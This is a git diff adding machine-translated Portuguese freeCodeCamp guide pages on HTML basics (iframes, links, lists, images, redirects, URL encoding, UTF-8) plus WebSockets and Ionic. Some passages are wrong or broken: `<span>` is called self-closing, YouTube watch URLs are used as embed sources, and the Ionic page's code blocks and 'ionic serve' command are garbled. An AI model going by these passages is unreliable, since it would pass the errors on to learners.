+title: Embedding Youtube Videos
+localeTitle: Incorporando vídeos do YouTube
+---
+## Incorporando vídeos do YouTube
+
+Provavelmente, muitas vezes você viu vídeos incorporados em seus sites favoritos. Hoje vamos falar sobre a incorporação de vídeos do YouTube, o que é muito fácil de fazer, mesmo se você não tem conhecimento sobre isso. Para esta ação, usaremos o elemento `<frame>` , que é muito útil na incorporação de outros HTMLs. É muito usado para promover alguns produtos como acréscimos. Observe que você não está limitado apenas ao YouTube. Você também pode experimentar outros documentos.
+
+### `<frame>`
+
+#### Usando
+
+Você pode facilmente colocar seu vídeo escolhido usando o elemento `<frame>` . Mas lembre-se, você também precisa definir a altura e a largura do seu player, então usaremos os atributos `height` e `width` .
+
+O que vamos precisar?
+
+*   Vídeo no YouTube e URL
+*   elemento `<frame>` (não esqueça de fechá-lo!)
+*   atributos de `width` e `height`
+
+```html
+
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es"> 
+ </iframe> 
+```
+
+Os valores inseridos são recomendados, mas sinta-se à vontade para alterá-los da maneira que desejar.
+
+#### Reprodução automática
+
+O que devemos fazer se quisermos que este player comece a ser reproduzido automaticamente? Basta adicionar ao seu valor de link `?autoplay=1` . Mas tenha cuidado, porque pode ser irritante para muitas pessoas que visitam sua página.
+
+```html
+
+<iframe width="420" height="315" 
+ src="https://www.youtube.com/watch?v=v8kFT4I31es?autoplay=1"> 
+ </iframe> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md b/client/src/guide/portuguese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
new file mode 100644
index 0000000000..ba53b35a3f
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/how-to-create-an-html-button-that-acts-like-a-link/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Create an HTML Button That Acts Like a Link
+localeTitle: Como criar um botão HTML que atua como um link
+---
+## Como criar um botão HTML que atua como um link
+
+Às vezes, você pode querer usar um botão para vincular a outra página ou site, em vez de enviar um formulário ou algo assim. Isso é bastante simples de se fazer e pode ser alcançado de várias maneiras.
+
+Uma maneira é simplesmente envolver sua tag `<button>` em uma tag `<a>` :
+
+```html
+
+<a href='https://www.freecodecamp.org/'><button>Link To freeCodeCamp</button></a> 
+```
+
+Isso transforma seu botão inteiro em um link.
+
+Uma segunda opção é criar seu link como você faria normalmente com sua tag `<a>` e, em seguida, estilizá-lo via CSS:
+
+```html
+
+<a href='https://www.freecodecamp.org/'>Link To freeCodeCamp</a> 
+```
+
+Depois de criar seu link, você pode usar o CSS para parecer um botão. Por exemplo, você pode adicionar uma borda, uma cor de plano de fundo, alguns estilos para quando o usuário estiver passando o link…
+
+Outra maneira de adicionar um botão é envolver uma `input` dentro de tags de `form` . Especifique o URL de destino desejado no atributo de ação do formulário.
+
+```html
+
+<form action="http://google.com"> 
+    <input type="submit" value="Go to Google" /> 
+ </form> 
+```
+
+#### Mais Informações:
+
+*   [Guia FreeCodeCamp - botões de estilo](https://guide.freecodecamp.org/css/css-buttons/)
+*   [Como criar um botão HTML que atue como um link?](https://stackoverflow.com/questions/2906582/how-to-create-an-html-button-that-acts-like-a-link)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md b/client/src/guide/portuguese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
new file mode 100644
index 0000000000..a7060dd323
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/how-to-horizontally-center-a-div-tag-in-another-div-tag/index.md
@@ -0,0 +1,67 @@
+---
+title: How to Horizontally Center a Div Tag in Another Div Tag
+localeTitle: Como centralizar horizontalmente uma tag Div em outra tag Div
+---
+## Como centralizar horizontalmente uma tag Div em outra tag Div
+
+Centrar horizontalmente um `<div>` dentro de outro `<div>` é bem fácil.
+
+Vamos começar criando duas tags div com as classes "parent" e "child". O pai será nosso contêiner e o filho será o `<div>` que estamos centralizando horizontalmente.
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>How to Horizontally Center a Div Tag in Another Div Tag</title> 
+ </head> 
+ <body> 
+  <div class="parent"> 
+    <div class="child"> 
+      <p>This is the center.</p> 
+    </div> 
+  </div> 
+ </body> 
+ </html> 
+```
+
+Existem algumas maneiras de lidar com isso, mas para este tutorial vamos nos concentrar em dois. No primeiro vamos centralizar nosso filho `<div>` usando `margin` e no segundo usaremos o `flexbox` .
+
+### Exemplo de centralização de uma tag Div com margens
+
+Se você especificar uma `width` em seu filho div, você pode usar `margin: auto` . Isso centralizará seu filho `<div>` distribuindo uniformemente suas margens esquerda e direita.
+
+```css
+.parent { 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  width: 50%; 
+  margin: auto; 
+  border: 1px solid black; 
+ } 
+```
+
+### Exemplo de centralização de uma tag Div com o Flexbox
+
+Usar o flexbox para centralizar um `<div>` é um pouco diferente. Primeiro, não requer que você especifique a `width` do seu filho `<div>` . Segundo, você realmente centraliza o filho `<div>` aplicando propriedades css no pai `<div>` .
+
+Para centralizar um filho `<div>` usando o flexbox, é necessário usar `display: flex` junto com `justify-content: center` no pai `<div>` .
+
+```css
+.parent { 
+  display: flex; 
+  justify-content: center; 
+  border: 2px solid red; 
+ } 
+ 
+ .centered-child { 
+  border: 1px solid black; 
+ } 
+```
+
+#### Mais Informações:
+
+[Matriz de suporte do Flexbox](http://caniuse.com/#search=flexbox)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md b/client/src/guide/portuguese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
new file mode 100644
index 0000000000..22a0c59f2e
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/how-to-insert-spaces-or-tabs-in-text-using-html-and-css/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Insert Spaces or Tabs in Text Using HTML and CSS
+localeTitle: Como inserir espaços ou tabulações no texto usando HTML e CSS
+---
+## Como inserir espaços ou tabulações no texto usando HTML e CSS
+
+Há uma infinidade de maneiras de inserir espaços usando html. Por simplicidade, vamos passe por cima de um desses, inserindo uma tag Span.
+
+## Tag Span
+
+`<span>`
+
+Span Tags `<span>` são tags de fechamento automático, o que significa que eles não precisam de um `/>` .
+
+## Exemplo de Span
+
+Um exemplo de como uma tag `<span>` insere um espaço entre o texto pode ser visto abaixo.
+
+`<p>Hello may name is <span> James</p>`
+
+Se você atribuir uma classe ao seu `<span>` , poderá adicionar alguns css a ela. Igual a,
+
+`<p>Hello my name is <span class=tab> James</p>`
+
+Então, em uma folha de estilo externa ou em uma folha de estilos interna, você pode fornecer a `class .tab` algumas propriedades.
+
+## Exemplo de classe de span
+
+Por exemplo
+
+`.tab {padding-left: 2px;}`
+
+Você também pode fornecer ao `<span>` algumas propriedades no estilo inline, como mostrado abaixo.
+
+`<p>Hello my name is <span style="padding-left: 2px;"> James</p>`
+
+## Mais Informações
+
+Para mais informações sobre a tag ou em; Como inserir espaços ou tabulações no texto Usando HTML e CSS, você pode visitar w3schools. https://www.w3schools.com/tags/tag\_span.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/how-to-use-links/index.md b/client/src/guide/portuguese/html/tutorials/how-to-use-links/index.md
new file mode 100644
index 0000000000..b11666c6ce
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/how-to-use-links/index.md
@@ -0,0 +1,39 @@
+---
+title: How to Use Links
+localeTitle: Como usar links
+---
+## Como usar links
+
+Em HTML, você pode usar a tag `<a>` para criar um link. Por exemplo, você pode escrever `<a href="https://www.freecodecamp.org/">freeCodeCamp</a>` para criar um link para o site do freeCodeCamp.
+
+Os links são encontrados em quase todas as páginas da web. Os links permitem que os usuários cliquem no caminho de uma página para outra.
+
+Links HTML são hiperlinks. Você pode clicar em um link e pular para outro documento.
+
+Quando você move o mouse sobre um link, a seta do mouse se transformará em uma pequena mão.
+
+Nota: Um link não precisa ser texto. Pode ser uma imagem ou qualquer outro elemento HTML.
+
+Em HTML, os links são definidos com a tag:
+
+```html
+
+<a href="url">link text</a> 
+```
+
+Exemplo
+
+```html
+
+<a href="https://www.freecodecamp.org/">Visit our site for tutorials</a> 
+```
+
+O atributo href especifica o endereço de destino (https://www.freecodecamp.org) do link.
+
+O texto do link é a parte visível (Visite nosso site para tutoriais).
+
+Clicar no texto do link enviará você para o endereço especificado.
+
+#### Mais Informações:
+
+*   [MDN -](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) Referência [HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/how-to-use-lists/index.md b/client/src/guide/portuguese/html/tutorials/how-to-use-lists/index.md
new file mode 100644
index 0000000000..6cdf6c3aac
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/how-to-use-lists/index.md
@@ -0,0 +1,85 @@
+---
+title: How to Use Lists
+localeTitle: Como usar listas
+---
+## Como usar listas
+
+As listas são usadas para especificar um conjunto de itens consecutivos ou informações relacionadas de maneira bem formada e semântica, como uma lista de ingredientes ou uma lista de etapas processuais. A marcação HTML tem três tipos diferentes de listas - listas **ordenadas** , não **ordenadas** e de **descrição** .
+
+### Listas ordenadas
+
+Uma lista ordenada é usada para agrupar um conjunto de itens relacionados, em uma ordem específica. Esta lista é criada com a tag `<ol>` . Cada item da lista é cercado pela tag `<li>` .
+
+##### Código
+
+```html
+
+<ol> 
+    <li>Mix ingredients</li> 
+    <li>Bake in oven for an hour</li> 
+    <li>Allow to stand for ten minutes</li> 
+ </ol> 
+```
+
+##### Exemplo
+
+1.  Misture os ingredientes
+2.  Asse no forno por uma hora
+3.  Deixe repousar por dez minutos
+
+### Listas não ordenadas
+
+Uma lista não ordenada é usada para agrupar um conjunto de itens relacionados, em nenhuma ordem específica. Esta lista é criada com a tag `<ul>` . Cada item da lista é cercado pela tag `<li>` .
+
+##### Código
+
+```html
+
+<ul> 
+    <li>Chocolate Cake</li> 
+    <li>Black Forest Cake</li> 
+    <li>Pineapple Cake</li> 
+ </ul> 
+```
+
+#### Exemplo
+
+*   Bolo de chocolate
+*   Bolo floresta negra
+*   Bolo de abacaxi
+
+### Descrição Listas
+
+Uma lista de descrição é usada para especificar uma lista de termos e suas descrições. Esta lista é criada com a tag `<dl>` . Cada item da lista é cercado pela tag `<dd>` .
+
+##### Código
+
+```html
+
+<dl> 
+    <dt>Bread</dt> 
+    <dd>A baked food made of flour.</dd> 
+    <dt>Coffee</dt> 
+    <dd>A drink made from roasted coffee beans.</dd> 
+ </dl> 
+```
+
+##### Saída
+
+Pão
+
+Um alimento assado feito de farinha.
+
+Café
+
+Uma bebida feita a partir de grãos de café torrados.
+
+#### Lista de estilo
+
+Você também pode controlar o estilo da lista. Você pode usar `list-style` propriedade de listas de `list-style` . Sua lista pode ser marcadores, quadrados, números numéricos ou imagens que você deseja.
+
+`list-style` propriedade `list-style` é uma abreviação para `list-style-type` , `list-style-position` e `list-style-image` .
+
+#### Mais Informações:
+
+\[Listas HTML · Documentos WebPlatform\] (https://webplatform.github.io/docs/guides/html\_lists/ )
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/images-in-html/index.md b/client/src/guide/portuguese/html/tutorials/images-in-html/index.md
new file mode 100644
index 0000000000..e43b592159
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/images-in-html/index.md
@@ -0,0 +1,51 @@
+---
+title: Images in HTML
+localeTitle: Imagens em HTML
+---
+## Introdução
+
+Você pode definir imagens usando a tag `<img>` . Não possui uma tag de fechamento, pois pode conter apenas atributos. Para inserir uma imagem, você define a fonte e um texto alternativo que é exibido quando a imagem não pode ser renderizada.
+
+`src` - Este atributo fornece a URL para a imagem presente no seu PC / Laptop ou para ser incluído em algum outro site. Lembre-se de que o link fornecido não deve ser quebrado, caso contrário, a imagem não será produzida em sua página da Web.
+
+`alt` - Este atributo é usado para superar o problema de imagem quebrada ou incapacidade do seu navegador para não ser capaz de produzir imagem na página da web. Este atributo, como o nome sugere, fornece "Alternativa" à imagem, que é um "TEXTO" que descreve a imagem.
+
+## Exemplo
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" /> 
+```
+
+### Para definir a altura e a largura de uma imagem, você pode usar o atributo altura e largura:
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" height="100" width="150"/> 
+```
+
+### Você também pode definir a espessura da borda (0 significa sem borda):
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" border="2"/> 
+```
+
+### Alinhar uma imagem:
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" align="left"/> 
+```
+
+### Você também pode usar estilos em um atributo de estilo:
+
+```html
+
+<img src="URL of the Image" alt="Descriptive Title" style="width: 100px; height: 150px;"/> 
+```
+
+#### Mais Informações
+
+*   Veja a página freeCodeCamp na tag `<img>` [aqui](https://guide.freecodecamp.org/html/elements/img-tag) .
+*   Para obter mais detalhes sobre imagens em HTML, confira o [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Img)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/index.md b/client/src/guide/portuguese/html/tutorials/index.md
new file mode 100644
index 0000000000..dde128f27d
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: Tutoriais
+---
+## Tutoriais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/redirect-from-an-html-page/index.md b/client/src/guide/portuguese/html/tutorials/redirect-from-an-html-page/index.md
new file mode 100644
index 0000000000..07a86c1e64
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/redirect-from-an-html-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Redirect from an HTML Page
+localeTitle: Redirecionar de uma página HTML
+---
+## Redirecionar de uma página HTML
+
+Se você alterou o URL da sua página HTML e deseja redirecionar automaticamente seus visitantes para o novo local da página, pode usar uma meta tag na área `<head>` da sua antiga página HTML.
+
+`html <head> <meta http-equiv="refresh" content="0; url=http://freecodecamp.org/" /> </head>` No exemplo acima, os visitantes da página seriam redirecionados da sua antiga página html para [http://freecodecamp.org/](http://freecodecamp.org/) . O atributo de `content="0` significa que o navegador redirecionará para a nova página após 0 segundo. A alteração do valor para o `content="2` será redirecionada após 2 segundos.
+
+#### Mais Informações:
+
+*   [MDN - Redirecionamentos em HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/text-formatting-in-html/index.md b/client/src/guide/portuguese/html/tutorials/text-formatting-in-html/index.md
new file mode 100644
index 0000000000..54b527b9a8
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/text-formatting-in-html/index.md
@@ -0,0 +1,61 @@
+---
+title: Text Formatting in HTML
+localeTitle: Formatação de texto em HTML
+---
+## Formatação de texto em HTML
+
+O HTML fornece muitos elementos úteis para formatação de texto. Permite fazer o seu texto: negrito, itálico, marca e muito mais. Mudar o estilo do seu texto não tem qualquer razão - o principal é apenas fazer o leitor dar uma olhada para algumas notas importantes.
+
+### Negrito e Forte
+
+Você pode facilmente alterar o seu significado de texto usando o elemento HTML `<b>` . Isso torna as palavras em negrito, cuja função é destacar o fragmento da sequência. Por exemplo:
+```
+The most important part of your code is <b>the end</b>, because if you <b>don't close</b> the element, it will affect to <b>everything</b>! 
+```
+
+Você também pode usar `<strong>` também - adiciona também importância "forte" semântica. Seu navegador não reconhece a diferença entre esses dois elementos, mas existe.
+
+### Itálico e enfatizado
+
+Geralmente usado quando citar algo ou colocar uma tradução da palavra em muitos artigos. Isso os torna em itálico - apenas imagine um pouco chutando nas letras certas. Por exemplo:
+```
+Theatre - <i>teatos</i>, <i>teates</i> and <i>teatron</i>. 
+```
+
+Você também pode usar `<em>` - adiciona também importância "enfatizada" semântica. Seu navegador não reconhece a diferença entre esses dois elementos, mas existe.
+
+### Pequeno
+
+Isso torna o texto menor que o tamanho normal da fonte usada. O significado deste elemento foi alterado em HTML5 - representa comentários secundários e letras pequenas.
+
+`Normal, <small>small</small>, normal, <small>small</small>!`
+
+### Marcado
+
+O elemento `<mark>` torna o seu texto marcado - em outras palavras, ele destaca seu texto. Você pode usá-lo para dizer aos leitores que é uma das coisas importantes em seu artigo. Por exemplo:
+
+`HTML is full of things and <mark>it's our journey</mark> to get known them better!`
+
+### Excluído
+
+O elemento `<del>` faz com que seu texto seja atingido no centro. É útil mostrar alterações nos seus documentos.
+
+`WWI started in <del>1913</del> 1914 year.`
+
+### Inserido
+
+Tag `<ins>` faz com que seu texto seja inserido no artigo. Usando outras palavras que facilitam muito a compreensão - adicionado. Mostra uma linha sob o texto inserido.
+
+`HTML isn't boring. <ins>You can make a lot of combinations of elements!</ins>`
+
+### Inscrito
+
+O uso do elemento `<sub>` fornece uma formatação útil como texto subscrito (mostrando-o menor na parte inferior). Existe um código de exemplo:
+
+`This was in 2003 year <sub>(needs a link).`
+
+### Sobrescrito
+
+Se você quiser fazer um oposto ao texto subscrito, você pode facilmente usar o elemento `<sup>` . Mostra um texto menor no topo.
+
+`10<sup>x+y</sup> = 1000`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md b/client/src/guide/portuguese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
new file mode 100644
index 0000000000..f94c95db29
--- /dev/null
+++ b/client/src/guide/portuguese/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
@@ -0,0 +1,11 @@
+---
+title: Use Tab Space Instead of Multiple Non Breaking Spaces Nbsp
+localeTitle: Use espaço de tabulação em vez de vários espaços sem quebra Nbsp
+---
+## Use espaço de tabulação em vez de vários espaços sem quebra Nbsp
+
+Em HTML, a maneira mais comum de adicionar vários espaços é adicionando `&nbsp;` para cada espaço. Para adicionar um espaço de tabulação coloque o seu texto em `<pre>` tags, por exemplo `<pre>My Text Here</pre>` e cada tab será tratado como oito espaços. Outra maneira de adicionar vários espaços em HTML seria usar CSS, por exemplo, `<p style="padding-right: 5px;">My Text Here</p>` .
+
+#### Mais Informações:
+
+*   [MDN - O elemento de texto pré-formatado](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/url-encoding-reference/index.md b/client/src/guide/portuguese/html/url-encoding-reference/index.md
new file mode 100644
index 0000000000..869553882b
--- /dev/null
+++ b/client/src/guide/portuguese/html/url-encoding-reference/index.md
@@ -0,0 +1,36 @@
+---
+title: Url Encoding Reference
+localeTitle: Referência de codificação de URL
+---
+## Referência de codificação de URL
+
+Um URL é um endereço para um site. Assim como os endereços postais precisam seguir um formato específico para serem compreendidos pelo carteiro, os URLs precisam seguir um formato para serem compreendidos e levá-lo ao local correto.
+
+Existem apenas determinados caracteres permitidos na cadeia de URL, caracteres alfabéticos, numerais e alguns caracteres `; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #` pode ter significados especiais.
+
+#### Caracteres Reservados:
+
+| Personagem | Significado | | --- | --- | | : | Protocolo separado (http) do endereço | | / | Domínio e diretórios separados | | # | Âncoras separadas | | ? | String de consulta separada | | & | Elementos de consulta separados | | @ | Nome de usuário e senha separados do domínio | | % | Indica um caractere codificado | | + | Indica um espaço |
+
+#### Codificação:
+
+Qualquer caractere que não seja um caractere alfabético, um número ou um caractere reservado sendo usado precisa ser codificado.
+
+As URLs usam o conjunto de caracteres ASCII ("Código Padrão Americano para Intercâmbio de Informações") e, portanto, a codificação deve ser para um formato ASCII válido.
+
+Existem funções na maioria das linguagens da Web para fazer essa codificação para você, por exemplo, em JavaScript `encodeURI()` e em `rawurlencode()` PHP.
+
+| Personagem | Codificado | | --- | --- | | espaço | % 20 | | ! | % 21 | | "|% 22 | | # | % 23 | | $ | % 24 | | % | % 25 | | & | % 26 | | '| % 27 | | (|% 28 | | ) | % 29 | | \* | % 2A | | + | % 2B | | | % 2C | | - | % 2D | | . | % 2E | | / | % 2F | | 0 | % 30 | | 1 | % 31 | | 2 | % 32 | | 3 | % 33 | | 4 | % 34 | | 5 | % 35 | | 6 | % 36 | | 7 | % 37 | | 8 | % 38 | | 9 | % 39 | | : | % 3A | | ; | % 3B | | <| % 3C | | = | % 3D | | > | % 3E | | ? | % 3F | | @ | % 40 | | A | % 41 | | B | % 42 | | C | % 43 | | D | % 44 | | E | % 45 | | F | % 46 | | G | % 47 | | H | % 48 | | Eu | % 49 | | J | % 4A | | K | % 4B | | L | % 4C | | M | % 4D | | N | % 4E | | O | % 4F | | P | % 50 | | Q | % 51 | | R | % 52 | | S | % 53 | | T | % 54 | | U | % 55 | | V | % 56 | | W | % 57 | | X | % 58 | | Y | % 59 | | Z | % 5A | | \[| % 5B | | \\ | % 5C | | \] | % 5D | | ^ | % 5E | | \_ | % 5F | | \`| % 60 | | a | % 61 | | b | % 62 | | c | % 63 | | d | % 64 | | e | % 65 | | f | % 66 | | g | % 67 | | h | % 68 | | i | % 69 | | j | % 6A | | k | % 6B | | l | % 6C | | m | % 6D | | n | % 6E | | o | % 6F | | p | % 70 | | q | % 71 | | r | % 72 | | s | % 73 | | t | % 74 | | u | % 75 | | v | % 76 | | w | % 77 | | x | % 78 | | y | % 79 | | z | % 7A | | {| % 7B | | | | % 7C | | } | % 7D | | ~ | % 7E | | ¢ | % A2 | | £ | % A3 | | ¥ | % A5 | | | | % A6 | | § | % A7 | | «| % AB | | ¬ | % AC | | ¯ | % AD | | º | % B0 | | ± | % B1 | | ª | % B2 | | | % B4 | | µ | % B5 | | »| % BB | | ¼ | % BC | | ½ | % BD | | ¿| % BF | | À | % C0 | | Á | % C1 | | Â | % C2 | | Ã | % C3 | | Ä | % C4 | | Å | % C5 | | Æ | % C6 | | Ç | % C7 | | È | % C8 | | É | % C9 | | Ê | % CA | | Ë | % CB | | Ì | % CC | | Í | % CD | | Î | % CE | | Ï | % CF | | Ð | % D0 | | Ñ ​​| % D1 | | Ò | % D2 | | Ó | % D3 | | Ô | % D4 | | Õ | % D5 | | Ö | % D6 | | Ø | % D8 | | Ù | % D9 | | Ú | % DA | | Û | % DB | | Ü | % DC | | Ý | % DD | | Þ | % DE | | ß | % DF | | à | % E0 | | á | % E1 | | â | % E2 | | ã | % E3 | | ä | % E4 | | å | % E5 | | æ | % E6 | | ç | % E7 | | è | % E8 | | é | % E9 | | ê | % EA | | ë | % EB | | ì | % EC | | í | % ED | | î | % EE | | ï | % EF | | ð | % F0 | | ñ | % F1 | | ò | % F2 | | ó | % F3 | | ô | % F4 | | õ | % F5 | | ö | % F6 | | ÷ | % F7 | | ø | % F8 | | ù | % F9 | | ú | % FA | | û | % FB | | ü | % FC | | ý | % FD | | þ | % FE | | ÿ | % FF |
+
+#### Exemplo:
+
+```js
+encodeURI(Free Code Camp); 
+ // Free%20Code%20Camp 
+```
+
+#### Mais Informações:
+
+[MDN encodeURI ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI)
+
+\[https://www.w3schools.com/tags/ref\_urlencode.asp\](HTML URL Encoding Reference)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/utf-8-reference/index.md b/client/src/guide/portuguese/html/utf-8-reference/index.md
new file mode 100644
index 0000000000..ea9d4ab57d
--- /dev/null
+++ b/client/src/guide/portuguese/html/utf-8-reference/index.md
@@ -0,0 +1,38 @@
+---
+title: UTF 8 Reference
+localeTitle: Referência UTF 8
+---
+## Referência UTF 8
+
+O UTF 8 é um esquema de codificação usado para traduzir os caracteres que vemos nas telas em números que os computadores podem armazenar. A especificação de uma codificação de caracteres como UTF8 permitirá que o navegador exiba corretamente caracteres avançados, como letras acentuadas e emojis.
+
+Nos documentos HTML, você pode especificar a codificação de caracteres na página, colocando essa meta tag na tag `head` da sua página HTML: `<meta charset="UTF-8">` . UTF 8 é a codificação padrão.
+
+O padrão [Unicode](https://www.unicode.org/) foi desenvolvido para acomodar os caracteres usados ​​em idiomas em todo o mundo.
+
+Mas espere! O que o Unicode tem a ver com o UTF 8? UTF 8 é o esquema de codificação, mas é importante entender que Unicode é a definição do conjunto de caracteres. Em linguagem simples, o que isto significa é que o Unicode define um número único - chamado de ponto de código - para muitos caracteres principais usados ​​em idiomas em todo o mundo e o UTF 8 traduz o caractere em formato binário compatível com o computador. 1 Aqui está um exemplo:
+
+1.  Você quer mencionar freeCodeCamp em algum lugar em sua página web (porque, você sabe, freeCodeCamp é 🔥 🔥 🔥).
+    
+2.  Os pontos de código do caractere para soletrar freeCodeCamp, conforme definido no Unicode, são:
+    
+    | f | r | e | e | C | o | d | e | C | a | m | p | | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | | 102 | 114 | 101 | 101 | 67 | 111 | 100 | 101 | 67 | 97 | 109 | 112 |
+    
+3.  UTF 8 converte os pontos de código em binário: 1100110 1110010 1100101 1100101 1000011 1101111 1100100 1100101 1000011 1100001 1101101 1110000
+    
+
+### Como usar o UTF-8 na sua página da Web
+
+Especifique uma meta tag com um conjunto de caracteres de UTF 8 na sua tag head.
+
+```html
+
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+```
+
+#### Mais Informações:
+
+*   [Gráficos de código de caracteres Unicode](https://www.unicode.org/charts/index.html)
+*   [Referência Unicode HTML](https://www.w3schools.com/charsets/ref_html_utf8.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/web-sockets/index.md b/client/src/guide/portuguese/html/web-sockets/index.md
new file mode 100644
index 0000000000..c1c6b7cc7b
--- /dev/null
+++ b/client/src/guide/portuguese/html/web-sockets/index.md
@@ -0,0 +1,19 @@
+# localeTitle: undefined
+WebSockets
+
+_Web Sockets_ é uma tecnologia que permite criar uma conexão interativa entre um cliente e um servidor para a troca de dados em tempo real. Os WebSockets permitem trabalhar em dois fluxos, o que distingue esta tecnologia do HTTP.
+
+## Como funcionam os WebSockets?
+
+Os WebSockets não precisam de chamadas repetidas para responder. É o suficiente para fazer um pedido e esperar por uma resposta. Você pode ouvir o servidor, que enviará a resposta em prontidão.
+
+## Quando posso usar WebSockets?
+
+*   Aplicativos em Tempo Real
+*   Aplicação de chat
+*   Aplicativos IoT
+*   Jogos multiplayer
+
+## Quando não usar WebSockets?
+
+WebSockets já são suportados em 95% dos navegadores, mas às vezes essa tecnologia não é necessária. Por exemplo, se você estiver criando um CMS simples em que a funcionalidade em tempo real não seja necessária.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ionic/hello-world-in-ionic/index.md b/client/src/guide/portuguese/ionic/hello-world-in-ionic/index.md
new file mode 100644
index 0000000000..6ed8e8738d
--- /dev/null
+++ b/client/src/guide/portuguese/ionic/hello-world-in-ionic/index.md
@@ -0,0 +1,69 @@
+---
+title: Hello World In Ionic 
+localeTitle: Olá Mundo em Ionic
+---
+# Olá Mundo no Ionic !!
+
+### Este é o editorial que vai passar por você para fazer um programa Hello World simulado no Ionic.
+
+### Passos
+
+#### 1\. Instale `ionic` , `npm` , `angular` e `cordova` se não for instalado \[Veja a [primeira](https://guide.freecodecamp.org/ionic) introdução para mais informações\]
+
+```shell
+sudo apt-get install nodejs 
+ sudo apt-get install npm 
+ sudo npm install -g ionic cordova 
+```
+
+#### 2\. Crie uma pasta chamada `helloworld`
+
+```shell
+ionic start helloworld blank 
+```
+
+Nota: Como este é um projeto pequeno, insira Não ou N quando solicitado durante a execução do programa.
+
+#### 3\. Mude o diretório para `helloworld` \[este é o seu diretório iônico\]
+
+```shell
+cd helloworld 
+```
+
+#### 4\. Abra a pasta no seu editor de texto. você verá vários arquivos e subpastas.
+
+Não entre em pânico, esses arquivos são gerados automaticamente pelo npm para você. Basta ir para `src` -> `page` -> `home` -> `home.html` .
+
+#### 5\. Formato Básico de Arquivo
+```
+`home.html` is the html page where you can write html syntax.<br/> 
+ 
+ `home.scss` is the css page to write css syntax.<br/> 
+ 
+ `home.ts` is the typescript page to write typescript code. 
+```
+
+#### 6\. Exclua o modelo e adicione a sintaxe html conforme mostrado na imagem.
+
+```html
+
+ <ion-header> 
+  <ion-navbar> 
+    <ion-title> 
+      Ionic Project 
+    </ion-title> 
+   </ion-navbar> 
+  </ion-header> 
+ 
+  <ion-content padding> 
+   <h2>Hello World </h2> 
+  </ion-content> 
+ ``` 
+ 
+ 
+ #### 7. Save the code and run 
+```
+
+Concha saque iônico \`\` \`
+
+#### 8\. Para ver o seu código em execução, acesse o navegador e abra o host local: 8100 no URL.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ionic/index.md b/client/src/guide/portuguese/ionic/index.md
new file mode 100644
index 0000000000..9f03c3c7f9
--- /dev/null
+++ b/client/src/guide/portuguese/ionic/index.md
@@ -0,0 +1,45 @@
+---
+title: Ionic
+localeTitle: Iônico
+---
+## Estrutura iônica
+
+O Ionic é uma estrutura de desenvolvimento de aplicativos móveis HTML5 voltada para a criação de aplicativos móveis híbridos.
+
+Aplicativos híbridos têm muitos benefícios em relação a aplicativos nativos puros, especificamente em termos de suporte de plataforma, velocidade de desenvolvimento e acesso a código de terceiros.
+
